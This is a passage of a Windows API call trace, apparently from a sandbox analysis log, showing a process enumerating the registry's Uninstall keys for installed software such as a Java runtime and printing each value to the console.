lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.354] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 130 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x108) returned 0x3e1c70 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.354] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x108 [0149.354] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.354] RegCloseKey (hKey=0x5c) returned 0x0 [0149.354] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x17, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{26A24AE4-039D-4CA4-87B4-2F03217071FF}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.355] __iob_func () returned 0x7fefd702a80 [0149.355] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.355] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}\n") returned 122 [0149.355] _fileno (_File=0x7fefd702ab0) returned 1 [0149.355] _errno () returned 0x204bb0 [0149.355] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.355] _errno () returned 0x204bb0 [0149.355] GetFileType (hFile=0x50) returned 0x1 [0149.355] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}\n") returned 122 [0149.355] GetConsoleOutputCP () returned 0x1b5 [0149.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.355] GetConsoleOutputCP () returned 0x1b5 [0149.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}\n", lpUsedDefaultChar=0x0) returned 122 [0149.355] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.355] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.355] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{26A24AE4-039D-4CA4-87B4-2F03217071FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.355] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1a, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.355] GetProcessHeap () returned 0x3c0000 [0149.355] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0149.355] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.355] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x64) returned 0x0 [0149.355] GetProcessHeap () returned 0x3c0000 [0149.355] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x66) returned 0x3db830 [0149.355] GetProcessHeap () returned 0x3c0000 [0149.355] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.356] GetProcessHeap () returned 0x3c0000 [0149.356] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0149.356] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x64 | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Java\\jre7\\\\bin\\javaws.exe", pcbData=0x29f780*=0x62) returned 0x0 [0149.356] __iob_func () returned 0x7fefd702a80 [0149.356] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.356] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.356] _fileno (_File=0x7fefd702ab0) returned 1 [0149.356] _errno () returned 0x204bb0 [0149.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.356] _errno () returned 0x204bb0 [0149.356] GetFileType (hFile=0x50) returned 0x1 [0149.356] lstrlenW (lpString=" ") returned 4 [0149.356] GetConsoleOutputCP () returned 0x1b5 [0149.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.356] GetConsoleOutputCP () returned 0x1b5 [0149.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.356] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.356] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.356] lstrlenW (lpString="DisplayIcon") returned 11 [0149.356] __iob_func () returned 0x7fefd702a80 [0149.356] _fileno (_File=0x7fefd702ab0) returned 1 [0149.356] _errno () returned 0x204bb0 [0149.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.356] _errno () returned 0x204bb0 [0149.356] GetFileType (hFile=0x50) returned 0x1 [0149.356] lstrlenW (lpString="DisplayIcon") returned 11 [0149.357] GetConsoleOutputCP () returned 0x1b5 [0149.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.357] GetConsoleOutputCP () returned 0x1b5 [0149.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0149.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.357] __iob_func () returned 0x7fefd702a80 [0149.357] _fileno (_File=0x7fefd702ab0) returned 1 [0149.357] _errno () returned 0x204bb0 [0149.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.357] _errno () returned 0x204bb0 [0149.357] GetFileType (hFile=0x50) returned 0x1 [0149.357] lstrlenW (lpString=" ") returned 4 [0149.357] GetConsoleOutputCP () returned 0x1b5 [0149.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.357] GetConsoleOutputCP () returned 0x1b5 [0149.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.358] __iob_func () returned 0x7fefd702a80 [0149.358] _fileno (_File=0x7fefd702ab0) returned 1 [0149.358] _errno () returned 0x204bb0 [0149.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.358] _errno () returned 0x204bb0 [0149.358] GetFileType (hFile=0x50) returned 0x1 [0149.358] lstrlenW (lpString="REG_SZ") returned 6 [0149.358] GetConsoleOutputCP () returned 0x1b5 [0149.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.358] GetConsoleOutputCP () returned 0x1b5 [0149.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.358] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.358] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.358] __iob_func () returned 0x7fefd702a80 [0149.358] _fileno (_File=0x7fefd702ab0) returned 1 [0149.358] _errno () returned 0x204bb0 [0149.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.358] _errno () returned 0x204bb0 [0149.358] GetFileType (hFile=0x50) returned 0x1 [0149.358] lstrlenW (lpString=" ") returned 4 [0149.358] GetConsoleOutputCP () returned 0x1b5 [0149.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.358] GetConsoleOutputCP () returned 0x1b5 [0149.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.359] __iob_func () returned 0x7fefd702a80 [0149.359] _fileno (_File=0x7fefd702ab0) returned 1 [0149.359] _errno () returned 0x204bb0 [0149.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.359] _errno () returned 0x204bb0 [0149.359] GetFileType (hFile=0x50) returned 0x1 [0149.359] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\\\bin\\javaws.exe") returned 48 [0149.359] GetConsoleOutputCP () returned 0x1b5 [0149.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Java\\jre7\\\\bin\\javaws.exe", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0149.359] GetConsoleOutputCP () returned 0x1b5 [0149.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Java\\jre7\\\\bin\\javaws.exe", cchWideChar=48, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Java\\jre7\\\\bin\\javaws.exe", lpUsedDefaultChar=0x0) returned 48 [0149.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 48 [0149.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.359] __iob_func () returned 0x7fefd702a80 [0149.359] _fileno (_File=0x7fefd702ab0) returned 1 [0149.359] _errno () returned 0x204bb0 [0149.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.359] _errno () returned 0x204bb0 [0149.359] GetFileType (hFile=0x50) returned 0x1 [0149.359] lstrlenW (lpString="\n") returned 1 [0149.359] GetConsoleOutputCP () returned 0x1b5 [0149.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.360] GetConsoleOutputCP () returned 0x1b5 [0149.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.360] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.360] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.360] GetProcessHeap () returned 0x3c0000 [0149.360] GetProcessHeap () returned 0x3c0000 [0149.360] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.360] GetProcessHeap () returned 0x3c0000 [0149.360] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0149.360] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.360] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.360] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.360] GetProcessHeap () returned 0x3c0000 [0149.360] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.360] GetProcessHeap () returned 0x3c0000 [0149.360] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.360] GetProcessHeap () returned 0x3c0000 [0149.360] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.360] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.360] __iob_func () returned 0x7fefd702a80 [0149.360] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.360] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.360] _fileno (_File=0x7fefd702ab0) returned 1 [0149.360] _errno () returned 0x204bb0 [0149.360] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.360] _errno () returned 0x204bb0 [0149.360] GetFileType (hFile=0x50) returned 0x1 [0149.360] lstrlenW (lpString=" ") returned 4 [0149.360] GetConsoleOutputCP () returned 0x1b5 [0149.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.361] GetConsoleOutputCP () returned 0x1b5 [0149.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.361] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.361] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.361] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.361] __iob_func () returned 0x7fefd702a80 [0149.361] _fileno (_File=0x7fefd702ab0) returned 1 [0149.361] _errno () returned 0x204bb0 [0149.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.361] _errno () returned 0x204bb0 [0149.361] GetFileType (hFile=0x50) returned 0x1 [0149.361] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.361] GetConsoleOutputCP () returned 0x1b5 [0149.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.361] GetConsoleOutputCP () returned 0x1b5 [0149.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0149.361] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0149.361] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.361] __iob_func () returned 0x7fefd702a80 [0149.361] _fileno (_File=0x7fefd702ab0) returned 1 [0149.362] _errno () returned 0x204bb0 [0149.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.362] _errno () returned 0x204bb0 [0149.362] GetFileType (hFile=0x50) returned 0x1 [0149.362] lstrlenW (lpString=" ") returned 4 [0149.362] GetConsoleOutputCP () returned 0x1b5 [0149.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.362] GetConsoleOutputCP () returned 0x1b5 [0149.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.362] __iob_func () returned 0x7fefd702a80 [0149.362] _fileno (_File=0x7fefd702ab0) returned 1 [0149.362] _errno () returned 0x204bb0 [0149.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.362] _errno () returned 0x204bb0 [0149.362] GetFileType (hFile=0x50) returned 0x1 [0149.362] lstrlenW (lpString="REG_SZ") returned 6 [0149.362] GetConsoleOutputCP () returned 0x1b5 [0149.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.362] GetConsoleOutputCP () returned 0x1b5 [0149.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.363] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.363] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.363] __iob_func () returned 0x7fefd702a80 [0149.363] _fileno (_File=0x7fefd702ab0) returned 1 [0149.363] _errno () returned 0x204bb0 [0149.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.363] _errno () returned 0x204bb0 [0149.363] GetFileType (hFile=0x50) returned 0x1 [0149.363] lstrlenW (lpString=" ") returned 4 [0149.363] GetConsoleOutputCP () returned 0x1b5 [0149.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.363] GetConsoleOutputCP () returned 0x1b5 [0149.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.363] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.363] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.363] __iob_func () returned 0x7fefd702a80 [0149.363] _fileno (_File=0x7fefd702ab0) returned 1 [0149.363] _errno () returned 0x204bb0 [0149.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.363] _errno () returned 0x204bb0 [0149.363] GetFileType (hFile=0x50) returned 0x1 [0149.363] lstrlenW (lpString="") returned 0 [0149.363] __iob_func () returned 0x7fefd702a80 [0149.363] _fileno (_File=0x7fefd702ab0) returned 1 [0149.363] _errno () returned 0x204bb0 [0149.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.363] _errno () returned 0x204bb0 [0149.363] GetFileType (hFile=0x50) returned 0x1 [0149.364] lstrlenW (lpString="\n") returned 1 [0149.364] GetConsoleOutputCP () returned 0x1b5 [0149.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.364] GetConsoleOutputCP () returned 0x1b5 [0149.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.364] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.364] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.364] GetProcessHeap () returned 0x3c0000 [0149.364] GetProcessHeap () returned 0x3c0000 [0149.364] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.364] GetProcessHeap () returned 0x3c0000 [0149.364] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.364] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.364] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.364] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.364] GetProcessHeap () returned 0x3c0000 [0149.364] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.364] GetProcessHeap () returned 0x3c0000 [0149.364] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.364] GetProcessHeap () returned 0x3c0000 [0149.364] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.364] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.364] __iob_func () returned 0x7fefd702a80 [0149.364] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.364] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.364] _fileno (_File=0x7fefd702ab0) returned 1 [0149.364] _errno () returned 0x204bb0 [0149.364] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.365] _errno () returned 0x204bb0 [0149.365] GetFileType 